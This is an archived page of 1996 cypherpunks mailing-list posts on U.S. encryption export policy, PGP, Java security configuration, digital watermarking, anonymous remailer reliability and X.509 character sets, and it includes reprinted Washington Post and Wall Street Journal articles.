December 2003 - cypherpunks-legacy

Crypto Export Legislation?
by John Young 17 Dec '03

17 Dec '03

The excerpt below is from the Wash Post article today. Does anyone know the status of the Leahy/Goodlatte bills? BTW, it's been suggested that this article is sufficiently on topic to post to the list in its entirety. Anyone else whose seen it agree? ---------- The Washington Post, February 25, 1996, pp. H1, H4. Scrambling for a Policy on Encryption Exports [Long snip] Industry also is fanning Congress's interest in taking a bigger role in the encryption debate. "Without congressional interest, the administration has no reason to liberalize exports at all," said Becca Gould, director of policy at the Business Software Alliance. "This issue is in Congress's front yard because it affects the economy" as well as U.S. citizens' privacy rights. Sen. Patrick J. Leahy (D-Vt.) and Rep. Robert W. Goodlatte (R-Va.) agree. They plan to introduce bills in the Senate and House aimed at loosening the restrictions on encryption. "The federal government is taking an attitude that's based more in the 1970s than in present time," said Leahy in a telephone interview. "This is a matter that should be decided by legislation," he added. "We're talking about billions of dollars in revenues and thousands of jobs if we're handicapped in our global market, especiaUy if what we're told to do is to build an export encryption program that is so outdated that our 12-year-old computer experts wouJd laugh at it." The bills would do away with export licenses for any encryption technology considered to be "generally available," or "in the public domain." Leahy said that although he, too, worries about national security and terrorism, trying to bottle up technology won't solve the problem. Law enforcement has "got to figure out how to keep ahead ... and surprise, surprise, there will be some times when we won't be able to eavesdrop," Leahy said. Even now, criminals can make calls at pay telephones or avoid detection in other ways. The government shouldn't cripple the computer industry every time a new technology springs up that challenges law enforcement, he said. "What I'm suggesting is that if [the administration] works with the Congress, we'll find a solution," Leahy said. ...

2 1

RE: PGP
by Chris Grantham 17 Dec '03

17 Dec '03

Sorry, that wasn't suppose to be sent there too. Chris ---------- From: Chris Grantham[SMTP:casper@optima.mme.wsu.edu] Sent: Sunday, February 25, 1996 1:38 PM To: 'Thaddeus J. Beier' Cc: 'Cypherpunks' Subject: PGP R U aware of a PGP mailing list? Chris P.S. How do I attach a sig to a Microsoft Exchange message? FOR BEST SECURITY -STEAM ALL PGP MESSAGES! -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzEvXtUAAAEEALtwrsq7zqQdTDRRpgJeCXYCuA6M49Yp93IE3ScaMwPPi297 EIEbpSyv3ZB9UBjTNHcsPADhfwDs8/yBS4SWW+NF1BwnRLUbNpZ5E6BGxGojQnF4 yC5MKNIuxDgY8FYYpsXWpxWIOJZOf5LY6E4BhZ9fGK/MfuhSvUFD9HN4zM2hAAUR tC1DaHJpcyBXLiBHcmFudGhhbSA8Y2FzcGVyQG9wdGltYS5tbWUud3N1LmVkdT4= =xznQ -----END PGP PUBLIC KEY BLOCK-----

1 0

Re: REM_ote
by frantz＠netcom.com 17 Dec '03

17 Dec '03

At 8:17 AM 2/24/96 -0800, sameer wrote: >> about your browsing habits. Of course we have never done this, but if we >> were "phoning home" periodically to check for new releases it might raise >> some suspicion among the more paranoid. >> >> I guess we could make it an option... > > I don't think you need to "phone home". Just make it happen >whenever someone hits the Netscape web site. some monstrous percentage >of Netscape users haven't changed the default home page, and even >those who have do go to the Netscape page every now and then. I will point out that we are already trusting our copy of the Netscape browser not to abuse its knowledge of our browsing habits. The best we can do to assure that our trust is not misplaced is monitor its communications, and if it is encrypting, we can't even do that. ------------------------------------------------------------------------ Bill Frantz | The CDA means | Periwinkle -- Computer Consulting (408)356-8506 | lost jobs and | 16345 Englewood Ave. frantz(a)netcom.com | dead teenagers | Los Gatos, CA 95032, USA

1 0

Java configurability
by Adam Shostack 17 Dec '03

17 Dec '03

Alex Strasheim wrote: | What are we talking about specifically when we talk about security | oriented configurability? Rather than just turning java(script) on and | off, wouldn't it be useful to piggyback off of the X.509 system that's | already in place? | For every CA's or server's cert, they'd just have to add two checkboxes: | whether or not to run java applets or javascript code from servers | vouched for by those certs. Is that what people mean when they talk | about configurability, or just the ability to shut down java*script) all | together? I mean the ability to shut down Java or JavaScript (hereafter called J-code), but not only from a user point of view. Its ludicrously easy to convince users to do things that they shouldn't be doing, so not only do we need a Java off and JavaScript off button within Netscape, but we also need a means to enforce it at a company wide level. Think about it from the point of view of a business. There's this Java software. You keep reading about how its not really secure in the press. Do you trust your users to do the right thing? You know how they'll do things like arbitrarily change their IP address on you. So, what do we want as a business? We want the ability to define trust. We want to be able to say what our users can do with the machines & software we put on their desktop. We want to be able to provide them with applets to run. This generates a set of needs. First, we need to be able to tell Netscape about our corporate policy. The logical place to do that is at the HTTP proxy on our firewall. (Or possibly at a different port on the machine.) Once we have the ability to provide "MUST obey" directives, we need to ask what those directives should be. Obviously, we might want the ability to turn J-code off when passing through this gateway. Next, we would want the ability to allow SELECTED or approved J-code through. How do we select it? It comes from an approved source. That source verifies that it created/vetted the code with a digital signature. (With an expiration date on it, please. Code should need to be re-certified in the light of new bugs in J.) The certificate would need to sign a block with at least: {<Code block> <Valid through> <Java Version> <Policies approved>} Policies? Thats right. Java has the potential to do some really nifty stuff at the corporate level. Purchasing agents, travel & reimbursement, etc are the obvious ones. But those might well need to be allowed access to disk or network resources. The fact that I allow a bit of code signed by the NSA to run doesn't mean I want it to be as privledged as code written locally. Now, the fact that Vericode thinks this code should get disk access doesn't mean your company does. So the policy there is a MAXIMUM level of access that the J-code should get. I might set it at less, say, only allowed access to accounting_gw, on port 3456, between 9AM and 5PM. (I think time controls are a loss, but lots of people seem to like them.) So what would go into a config file? Things should start based on a global prohibition. 'That which is not explicitly allowed is forbidden.' With the permission of the company, it should be possible to swap this towards todays setup 'That which is not forbidden is allowed.' However, I doubt many companies will go for that. None with smart security people will. So, having prohibited everything, we now consider if we should allowing any of these J-code things to run. And how do we discriminate? Signatures. So we need to put keys (and fingerprints) into the config file. Once we have keys in the file, we start assigning them privledges. "Can examine this file." "Can examine this list of files." "Can write in /tmp, assuming that its less than 80% full." "Can edit the file /etc/passwd." So, is it more clear what I'm looking for? (Incidentally, X.509 is a bear. Read Carl Ellison's comments last November, and also Ross Anderson's 'Robustness Principles' paper.) -- "It is seldom that liberty of any kind is lost all at once." -Hume -- "It is seldom that liberty of any kind is lost all at once." -Hume

2 1

Percy the Python loves IPG
by ab411＠detroit.freenet.org 17 Dec '03

17 Dec '03

I think the IPG system is great! Percy, my pet python, has never been slicker or better lubricated! IPG Sales <ipgsales(a)cyberstation.net> wrote: >Perhaps so, but our system does employ a true hardware generated OTP, and >operates similiar to what you describe - however, the important >differernce is that we use a smal;l OTP to generate a larger OTP, like >stringing the cable across the Golden Gate narrows. What you have, as far as I can tell, with your "random-number-rotor-large- random-prime-number-rotor-wheels", is a proprietary encryption algorithm that uses a 5600-bit random number as a key. There are two points on which you are to be commended. 5600 bits is plenty large as a key (excessive, even), and you claim to generate the key with a true hardware RNG. Unfortunately, you are undone by two points which go against your scheme. First, your algorithm is proprietary, and as such is probably not worth a hill of beans. Second, the keys to your system are known to three parties: the sender of a message, the recipient of that message, and your company! This means that your company can intercept and decrypt any message that uses your system. All that is required is to keep a record of all keys generated and who they were distributed to, and to know the identities of the people communicating. You've already indicated, when you claimed "790 gigabytes" of data generated for testing with "multiple backups", that your company has the capability to store and access multiple terabytes of information. I'm sure you will protest your honesty; you may even *be* honest, but the security of your system will rely not only on the security of the algorithms and their correct implementation, but also on the honesty of your company and every employee who ever works for it. I don't need to trust R, S, and A whenever I use RSA, so long as the algorithm is secure, and correctly implemented. > Just becuase we >convert over from a full OTP to a prime number wheel system configured >from the OTP doers not mnean that the result is not an OTP Of course it does. Which part of "One" don't you understand? -- David R. Conrad, conrad(a)detroit.freenet.org PGP key on GDFN Hardware and http://detroit.freenet.org/staff/conrad home page Software Committee "If you can't say 'fuck', you can't say 'fuck the government'." --Lenny Bruce

1 0

TWP on Crypto Export Policy
by John Young 17 Dec '03

17 Dec '03

The Washington Post, February 25, 1996, pp. H1, H4. Scrambling for a Policy on Encryption Exports As Technology Advances, U.S. and Industry Seek Compromise That Balances Public, Private Fears By Elizabeth Corcoran Keeping information about technology out of other people's hands gets tougher all the time. And in the realm of the Internet, where information ignores boundaries and some cybersurfers flaunt rules, it may become impossible. A big test of that statement is emerging in cryptography, the business of scrambling information so that it looks like gibberish to anyone lacking the keys for unlocking the code. Once considered an arcane subspecialty of mathematicians and espionage, cryptography is rapidly becoming big business as more and more of the world's information is exchanged on electronic networks and as more and more people want to protect their data from prying eyes. But in these times of international terrorism, drug trafficking and sometimes peculiar financial transactions, law enforcement agencies want to be able to legally eavesdrop. As technology has grown dramatically more powerful, the ability to peek at encrypted information is slipping from the hands of government. That balance -- how much access can government demand vs. how much privacy others want -- has long been a theological debate between civil liberties advocates and worried law enforcement officials. Now, giddy with the growth of the Internet, technology companies have joined the debate. Both the software industry and civil liberties advocates believe powerful encryption will spur the growth of electronic communications and the Internet. And they don't want encryption restrictions to curb that growth. There are no limits on what kinds of encryption people can use within the United States. But the government has used export restrictions to try to shape what encryption technology is used internationally, and by extension, what is available in the United States. Those export laws prohibit U.S. companies from selling their best technology overseas. The restrictions, companies contend slow the development of the Internet and harm a potentially lucrative market for U.S. manufacturing. Making two flavors of an encryption product, U.S. companies contend, is expensive. Yet even more worrisome is that foreign competitors are likely to move in and offer better technology. That could spell the loss not just of sales of encryption technology, but of many other products that rely on strong digital protection as well. So companies are looking hard for ways to wriggle around the rules -- and beginning to find them. "Trying to suppress this technobgy is like Prohibition," said Whitfield Diffie, a cryptographer at Sun Microsystems Inc. and an outspoken advocate of widespread use of encryption technology. Companies will use anything at hand -- technology, business strategies and even the promise of congressional action -- to begin to get their home-brews out. Building and breaking encryption is hard. All information stored in computers -- whether pictures or sounds or documents -- is represented by ones or zeros or bits, the genetic code of the digital world. Encryption techniques amount to applying clever mathematical formulas to a collection of bits to make it look like gibberish to the uninitiated. Unlocking encrypted data requires a "key," a mathematical formula that can make sense of the tricks used to scramble the data. One common way to measure the sophisticaticn of an encryption scheme is by the number of bits in the key. The more bits, the harder it is to decode the information. A 30-bit key, for instance, could take as many as a billion random calculations to crack the code. A 60-bit key could take a billion-times-a-billion calculations. In past decades, governments were largely the only organizations with the money and need to tackle such expensive problems. But as the power of computers has soared -- and the cost of running millions of calculations has fallen -- companies and individuals have begun to clamor for sophisticated encryption. "We believe that encryption is a critical technology" to support many areas of electronic commerce, said Craig Mundie, a senior vice president at Microsoft Corp. Under current rules, U.S. companies can export encryption technologies that use up to 40-bit keys. A few years ago, such a lock might have stopped all but the most determined digital interlopers. No more. Within the past year graduate students at the Ecole Polytechnique in Paris and others at the Massachusetts Institute of Technology have shown they can break the 40-bit encryption used by Netscape Communications Corp. A few weeks ago, Diffie and six other well-know cryptographers began circulating a report in which they argue that to "adequately" protect information for the next 20 years, keys should be as long as 90 bits. Even encryption wizards at the National Security Agency would have trouble unlocking 90-bit encrypted information, experts say. So the government has tried to craft a compromise. Last summer, the government suggested that it would likely let companies use up to 64-bit encryption -- provided they set up a way for law enforcement agents, with a court order, to unlock encrypted information. Under this proposal, a "trusted third party," such as a bank or an encryption company that typically handles sensitive information, would safeguard the key. The plan has since bogged down over such details as precisely who might qualify as a trusted third party. Last fall, Trusted Information Systems (TIS) in Glenwood, Md., in what it calls a test case, applied for a license to export a sophisticated (and still unexportable) 56-bit encryption system called DES. Steve Walker, who heads TIS, has invested months in outlining the sort of spare-key program that he believes both the government and his customers can stomach. In late January, he got approval to ship his product to Britain. "It's not perfect; it's not where we want to be," Walker insisted. He purposely submitted a case, he said, that was virtually certain to meet the government's still evolving criteria. "But it's a first, giant baby step," he said. Trusting a Third Party? Others are uneasy with putting the means to unlock files in the hands of a "trusted third party." "Ask anyone who owns a business: Are they willing to give copies of a spare key that leads to everything sensitive in their company to a third party," said Jim Bidzos, chief executive of RSA Data Security Inc., a leading encryption firm. But government officials get nervous if the only keys to the scrambled material are held by its owners. Ed Roback, an encryption policy specialist at the National Institute of Standards and Technology, puts it this way: "I know of few front doors that can't be broken down. It's a little different with encryption," when it literally might take 10,000 years to break the code without the key. Roback and law enforcement officials say they'd be delighted to see Americans make more use of encryption, particularly if spare keys were held by a third party. "This nation, more than any other, relies on computers ... [so] there's a lot of vulnerability and encryption can help that," Roback said. "So it's a good thing -- but it can present a problem for national law enforcement." But momentum in the United States could swing toward widespread use of sophisticated encryption -- without spare keys -- if such technology was widely available. That's just what a recent announcement from Microsoft could help spur. In January, Microsoft told developers it had created a module in its operating system software that will let applications such as word processing programs or spreadsheets "plug in" to encryption technology. An application developer who built a software program for filing expense accounts would not have to add encryption to his product. Instead, the developer would need only to write a small program that taps the encryption technology available through the operating system. The strength of the encryption program could vary. Microsoft plans to include a 40-bit code with the version of Windows used principaUy by companies (called Windows NT). That encryption technology would be easy to export. But Microsoft also is encouraging other encryption firms, including RSA and TSI, to build more sophisticated encryption modules that could be used in the United States. Commercial products that take advantage of the new function are not likely to appear until the end of the year. But Microsoft is hoping it will spur more widespread use of encryption. "The single most pressing problem for electronic commerce is to create a secure payment structure," Mundie said -- and Microsoft is hoping to accelerate that work. RSA's Bidzos is among those in industry who would love to see the government give up on trying to control encryption technology. He worries that other countries are gearing up to snatch a big role in selling encryption while his company and other U.S. businesses remain entangled in U.S. policies. So he's testing the rules. Early this month, RSA announced that it had created subsidiaries in the People's Republic of China and in Japan. In China, RSA partners include the Chinese government. Bidzos plans to do joint research on encryption software with scientists there. Although Bidzos says he is planning to export only the approved, 40-bit encryption technology to his Chinese colleagues, "one genuine concern is that they might try to strengthen it themselves," he said. "It would be hard to do -- but not impossible. I've never had a conversation with [the Chinese] about it," Bidzos added. In addition, the Chinese have some interesting ideas of their own about new areas of cryptography, Bidzos said. "They're pretty advanced." And if the group developed more powerful techniques than even RSA has in the United States? Bidzos shrugged. RSA would likely take any promising ideas and develop them into products in the United States. As for Chinese export restrictions, "I haven't thought about it," he said. Going Up to the Hill Industry also is fanning Congress's interest in taking a bigger role in the encryption debate. "Without congressional interest, the administration has no reason to liberalize exports at all," said Becca Gould, director of policy at the Business Software Alliance. "This issue is in Congress's front yard because it affects the economy" as well as U.S. citizens' privacy rights. Sen. Patrick J. Leahy (D-Vt.) and Rep. Robert W. Goodlatte (R-Va.) agree. They plan to introduce bills in the Senate and House aimed at loosening the restrictions on encryption. "The federal government is taking an attitude that's based more in the 1970s than in present time," said Leahy in a telephone interview. "This is a matter that should be decided by legislation," he added. "We're talking about billions of dollars in revenues and thousands of jobs if we're handicapped in our global market, especially if what we're told to do is to build an export encryption program that is so outdated that our 12-year-old computer experts would laugh at it." The bills would do away with export licenses for any encryption technology considered to be "generally available," or "in the public domain." Leahy said that although he, too, worries about national security and terrorism, trying to bottle up technology won't solve the problem. Law enforcement has "got to figure out how to keep ahead ... and surprise, surprise, there will be some times when we won't be able to eavesdrop," Leahy said. Even now, criminals can make calls at pay telephones or avoid detection in other ways. The government shouldn't cripple the computer industry every time a new technology springs up that challenges law enforcement, he said. "What I'm suggesting is that if [the administration] works with the Congress, we'll find a solution," Leahy said. "We say over and over that we recognize that this is a very difficult issue," Roback said. But, he added, "the government has thought about [encryption policies] for a long time as well as industry," he said. To reach some resolution, he added, "compromise is going to be necessary on all fronts." [Photo] Jim Bidzos, chief executive of RSA Data Security Inc., a leading encryption firm, hopes the government wlll let go of encryption technology controls. _________________________________________________________ Code Breakers Recent advances in technology have allowed much faster and cheaper invasion of encrypted information. The deciphering time, however, varies widely with the computer power of the attacker. Here are estimates of cracking times by one group of experts. Type of Budget for Time to Time to attacker computing recover recover engine 40-bit key 56-bit key _________________________________________________________ Pedestrian hacker $400 5 hours 38 years Small business $10,000 12 minutes 556 days Corporate department $300,000 24 seconds 3 hours Big company $10 million 7 seconds 13 hours Intelligence agency $300 million 0.0002 sec. 12 seconds _________________________________________________________ Source: Report by an ad hoc group of cryptographers and computer scientists Matt Blaze, Whitfield Diffie, Ronald L. Rivest, Bruce Schneier, Tsutomu Shimomura, Eric Thompson, Michael Wiener. _________________________________________________________ [End]

1 0

Ass. Politics
by ab411＠detroit.freenet.org 17 Dec '03

17 Dec '03

Salman Rushdie, in a speech I heard several years ago, said that it was widely doubted that Iran would or could actually come up with the three million dollar bounty on his head. This may play a large part in why he is still around. Also, while speaking at the National Press Club recently, flogging his new book, he said (from memory), "Iran now wants us to believe that they don't want to kill anyone, and in fact never did. I wish they'd told us sooner, it would have saved a lot of trouble." This was greeted with laughter. He added, "But when the European Union tries to get them to put it in writing, they are unwilling to do so." If Iran is sending mixed messages about whether they even *intend* to pay off, coupled with widespread doubts of their ability to, it isn't surprising that no one has offed him. I think all the analyses of the economic costs of protecting one person vs. protecting many people are rather beside the point, in light of this. -- David R. Conrad, conrad(a)detroit.freenet.org PGP key on GDFN Hardware and http://detroit.freenet.org/staff/conrad home page Software Committee "If you can't say 'fuck', you can't say 'fuck the government'." --Lenny Bruce

1 0

WSJ on Crypto Bills
by John Young 17 Dec '03

17 Dec '03

Wall Street Journal, February 26, 1996, p. B4. New Proposals On Encryption Get Tepid Response By Jared Sandberg Two bills are expected to be introduced in Congress that try to resolve the deadlock between the administration and the Internet industry on software encryption, but industry executives are lukewarm to the new proposals. The two proposals, sponsored by Democratic Sen. Patrick J. Leahy of Vermont and GOP Rep. Robert W. Goodlatte of Virginia, seek to loosen government restrictions on encryption -- mathematical formulas that are used to scramble data beyond recognition of eavesdroppers. The government prevents the export of strong encryption because it hampers its efforts to monitor the actions of terrorists and foreign governments. The Clinton administration wants to set up government-approved repositories that keep copies of mathematical keys for decoding encrypted information, so law enforcement officials can decode private communications if granted a court order. Those policies have met with uniform distaste on the part of the industry executives, who say that widespread use of strong encryption is essential to the success of electronic commerce over the Internet. They argue that the administration's export restrictions on strong cryptography, determined by the length of the key needed to unlock the code, are hurting business abroad where competitors can freely offer stronger encryption software. Producing a separate weaker version of encryption software for foreign markets not only raises costs but is becoming pointless because hackers can now access computers powerful enough to break the weaker code. "The federal government's ideas on encryption are based on a situation which may have existed 10 or 20 years ago with very little realization of the realities of today," said Sen. Leahy. "We're not going to sell our computer programs if we have outdated computer technology, especialiy if people can buy it in Europe or Asia." The two new bills would allow for the export of much stronger encryption provided that level of security was "generally available." Sen. Leahy's proposal states that the key-escrow scheme will be voluntary, and establishes rules by which companies rather than government agencies would hold the keys for decoding data. These companies would be liable for abuse of keys and subject to strict procedures for releasing the keys to law enforcement. Though industry executives welcome the bills, they say the measures don't go far enough to unshackle high-tech companies. Thomas Parenty, product manager at the database firm Sybase Inc., said that both bills represent "a good start." But by allowing U.S. companies to export encryption only as strong as that which is available overseas, Mr. Parenty said, the bills won't allow them to innovate and produce superior products. And putting keys in the hands of third-party companies, they say, is still likely to meet industry opposition. People familiar with the bills said one motivation is to build support for a private version of the key-escrow concept, which could be an opportunity for several companies who are selling products based on the idea. "It would establish the legal framework for their implementation to go forward," said James Bidzos, chief executive officer of RSA Data Security Inc., an encryption-software company in Redwood City, Calif. -- Don Clark contributed to this article. [End]

1 0

X.509 certs that don't guarantee identity
by Alex Strasheim 17 Dec '03

17 Dec '03

On the 23rd, Jeff Weinstein said this concerning the natural semi-anonymity of the net: > Given that verisign and others will soon begin issuing large numbers of > certificates that do not guarantee the identity of the key holder, it seems > that this tradition will continue even with the wide deployment of X509 > certs. This has been bugging me since I read it. I'm not sure I understand the plan; it only makes sense to me if "anonymous" X.509 certs are issued for user authentication only, not for server authentication. Is that what this is about? (If anonymous certs are issued for servers, why should such a cert be treated any differently than one I generate on my own, which causes warning screens about an unknown CA to pop up?)

6 6

How to digitally watermark
by Dave.Birch＠eworld.com 17 Dec '03

17 Dec '03

>Adam Shostack <adam(a)homeport.org> wrote.. >Creating watermarks that can't be removed without degrading >image quality is not especially difficult. The two tricky bits are >durability and collusion protection. I don't know how the scheme in question works, but the general way in which these kind of watermarks work is the use of spread spectrum coding. So long as you choose a long enough spreading code, you can survive most of the information being destroyed in a transform and still recover the information. If a particular transformation (e.g. JPEG coding) stops you from doing this, then you pick multiple orthogonal codes (interested readers who want to hit the text books could try the key words "Gold Codes") and encode after each transform. So, you encode your original TIFF then covert it to a JPEG and encode again with an orthogonal code from the same family. Since the two codes don't interfere with each other, you can recover the watermark however you are viewing the picture. One particular transformation that a long enough code can withstand is scanning a magazine picture. So, you could watermark your picture of the Eiffel Tower before selling it to a magazine. Then, when it pops up on the Net because someone's scanned it in you can prove that it was your picture. What use this is I don't know, since I can't see how you can prove who scanned it! Incidentally, spread spectrum means that you can put several signals into the same bandwidth and recover each of them (if you have all of the codes). Short codes are used to protect against interference (the NCR wireless LAN range uses an 11 bit code, for example) while very long codes are used to recover data in situations where the signal falls below the noise level (I think I remember reading that the Voyager spacecraft used 252,000 bit codes). I hope someone, somewhere finds this interesting... ----------------------------------------------------------------- David G.W. Birch 8 Frederick Sanger Road Director, Hyperion Surrey Research Park Tel: +44 (0)1483 301793 Guildford Fax: +44 (0)1483 561657 Surrey GU2 5YD, UK Where people, networks and money intersect.......Consult Hyperion http://www.hyperion.co.uk daveb(a)hyperion.co.uk

1 0

Re: "Internet Security: Your Worst Nightmare"
by an44880＠anon.penet.fi 17 Dec '03

17 Dec '03

tcmay(a)got.net writes: >> Complete with a picture of Freeman standing in front of an American >> flag. > > I haven't seen this article, but I wouldn't hold the cover photo > of Freeman draped in the flag against him....I seem to recall a > few Cypherpunks similarly draped in the flag in a magazine > article! Yes, but isn't there a fundamental difference here? Cypherpunks are pushing for the spread of encryption to enhance our personal freedom. But when the FBI says that "the real solution is through better technologies such as encryption," they fail to mention that they wish to restrict personal freedom through such things as GAK. This is why it is so ironic that he is draped in the flag. "It's the FBI: crusaders in defense of the first amendment!" --****ATTENTION****--****ATTENTION****--****ATTENTION****--***ATTENTION*** Your e-mail reply to this message WILL be *automatically* ANONYMIZED. Please, report inappropriate use to abuse(a)anon.penet.fi For information (incl. non-anon reply) write to help(a)anon.penet.fi If you have any problems, address them to admin(a)anon.penet.fi

1 0

List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail, which is available at: ftp://ftp.csua.berkeley.edu/pub/cypherpunks/premail/premail-0.33a.tar.gz For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)extropia.wimsey.com> cpunk pgp special"; $remailer{"portal"} = "<hfinney(a)shell.portal.com> cpunk pgp hash"; $remailer{"alumni"} = "<hal(a)alumni.caltech.edu> cpunk pgp hash"; $remailer{"bsu-cs"} = "<nowhere(a)bsu-cs.bsu.edu> cpunk hash ksub"; $remailer{"c2"} = "<remail(a)c2.org> eric pgp hash reord"; $remailer{"penet"} = "<anon(a)anon.penet.fi> penet post"; $remailer{"hacktic"} = "<remailer(a)utopia.hacktic.nl> cpunk mix pgp hash latent cut post ek"; $remailer{"flame"} = "<remailer(a)flame.alias.net> cpunk mix pgp. hash latent cut post reord"; $remailer{"rahul"} = "<homer(a)rahul.net> cpunk pgp hash filter"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"ford"} = "<remailer(a)bi-node.zerberus.de> cpunk pgp hash ksub ek"; $remailer{"vishnu"} = "<mixmaster(a)vishnu.alias.net> cpunk mix pgp hash latent cut ek ksub reord"; $remailer{"robo"} = "<robo(a)c2.org> cpunk hash mix"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{"spook"} = "<remailer(a)valhalla.phoenix.net> cpunk mix pgp hash latent cut ek reord"; $remailer{"rmadillo"} = "<remailer(a)armadillo.com> mix cpunk pgp hash latent cut ek"; $remailer{"ecafe"} = "<cpunk(a)remail.ecafe.org> cpunk mix"; $remailer{"wmono"} = "<wmono(a)valhalla.phoenix.net> cpunk mix pgp. hash latent cut"; $remailer{"shinobi"} = "<remailer(a)shinobi.alias.net> cpunk mix hash latent cut ek reord"; $remailer{"amnesia"} = "<amnesia(a)chardos.connix.com> cpunk mix pgp hash latent cut ek ksub"; $remailer{"gondolin"} = "<mix(a)remail.gondolin.org> cpunk mix pgp hash latent cut ek reord"; $remailer{"tjava"} = "<remailer(a)tjava.com> cpunk mix pgp hash latent cut"; $remailer{"pamphlet"} = "<pamphlet(a)idiom.com> cpunk pgp hash latent cut ?"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'gondonym'} = '<alias(a)nym.gondolin.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.alias.net> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk pgp hash latent cut ek"; $remailer{"treehole"} = "<remailer(a)mockingbird.alias.net> cpunk pgp hash latent cut ek"; $remailer{"nemesis"} = "<remailer(a)meaning.com> cpunk pgp hash latent cut"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"vegas"} = "<remailer(a)vegas.gateway.com> cpunk pgp hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. Groups of remailers sharing a machine or operator: (c2 robo hroller alpha) (gondolin gondonym) (flame hacktic replay) (alumni portal) (vishnu spook wmono) Use "premail -getkeys pgpkeys(a)kiwi.cs.berkeley.edu" to get PGP keys for the remailers. Fingering this address works too. Note: The remailer list now includes information for the alpha nymserver. Last update: Mon 26 Feb 96 6:47:14 PST remailer email address history latency uptime ----------------------------------------------------------------------- nemesis remailer(a)meaning.com *-*-*+* 24:07 99.98% nymrod nymrod(a)nym.alias.net +--+*--**+-* 24:58 99.98% vegas remailer(a)vegas.gateway.com #***#+# 4:32 99.97% portal hfinney(a)shell.portal.com # ####*###*+ 4:09 99.94% lead mix(a)zifi.genetics.utah.edu ++++++++++++ 37:05 99.93% treehole remailer(a)mockingbird.alias.net --+++--+-+-* 2:32:56 99.93% ecafe cpunk(a)remail.ecafe.org *###**###### :29 99.87% alpha alias(a)alpha.c2.org * +++++*-+* 43:19 99.78% hacktic remailer(a)utopia.hacktic.nl ************ 7:48 99.77% gondonym alias(a)nym.gondolin.org ----------- 3:45:02 99.73% c2 remail(a)c2.org ***++*- +-*- 21:30 99.64% vishnu mixmaster(a)vishnu.alias.net ----+-- -+-* 1:08:53 99.63% replay remailer(a)replay.com +*********** 5:18 99.63% mix mixmaster(a)remail.obscura.com -+---.-..-- 7:01:31 99.57% shinobi remailer(a)shinobi.alias.net -++****+**** 41:52 99.35% flame remailer(a)flame.alias.net +++++------ 1:55:03 99.28% gondolin mix(a)remail.gondolin.org ----- ----- 3:53:23 98.96% extropia remail(a)extropia.wimsey.com ----------- 7:55:33 98.87% exon remailer(a)remailer.nl.com *+*+* - 1:27:17 97.83% penet anon(a)anon.penet.fi -------.-.- 19:20:55 97.21% tjava remailer(a)tjava.com # -**###*-## 13:27 96.16% rahul homer(a)rahul.net +### +#++#*# 2:52 99.87% alumni hal(a)alumni.caltech.edu *#*#+** 2:58 47.27% pamphlet pamphlet(a)idiom.com 42:17 0.25% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

1 0

mailing list
by an534772＠anon.penet.fi 17 Dec '03

17 Dec '03

mailing list

1 0

Re: IA5 String...
by Jueneman＠gte.com 17 Dec '03

17 Dec '03

>> There was a lot of energy around S/MIME. People are implementing >> it. Internally, it's pretty kludgely, but it does provide pretty good >> cryptographic services. (as an aside, my favorite kludge anecdote is >> the fact that X.509 certificates use an IA5 character set rather than >> ASCII, so that the @ in email addresses has to be represented as (a) >> instead). > >Wow, is this true? I dont think so. The CCITT document I have (CCITT >T.50) mentions that an @ sign (Commercial at) is a member of the IRV. >>From what I understand IA5 basically means US ASCII. > >Alex > If people are going to criticize X.509, they ought to at least get their facts straight, beginning with the difference between Printable String (standardized around the time of the IBM 1403 printer with its 48 character print chain) and some of the more extended alphabets. In particular, X.500 has been amended to include BMPString within DirectoryString, and BMPString is essentially Unicode. Now, there may be some who would argue that a 16 bit character isn't sufficient to represent every language in the galaxy (Old High Martian may have some additional requirements), but as a first approximation it should certainly good enough. And one of the virtues of ASN.1 is that a compliant implemtnation shouldn't have to be concerned with such details as the alphabet that is used. Bob Robert R. Jueneman GTE Laboratories 40 Sylvan Road Waltham, MA 02254 Jueneman(a)gte.com 1-617/466-2820 "The opinions expressed are my own, and may not reflect the official position of GTE, if any, on this subject."

2 1

Re: Cluelessness V.S. Lack of Knowledge
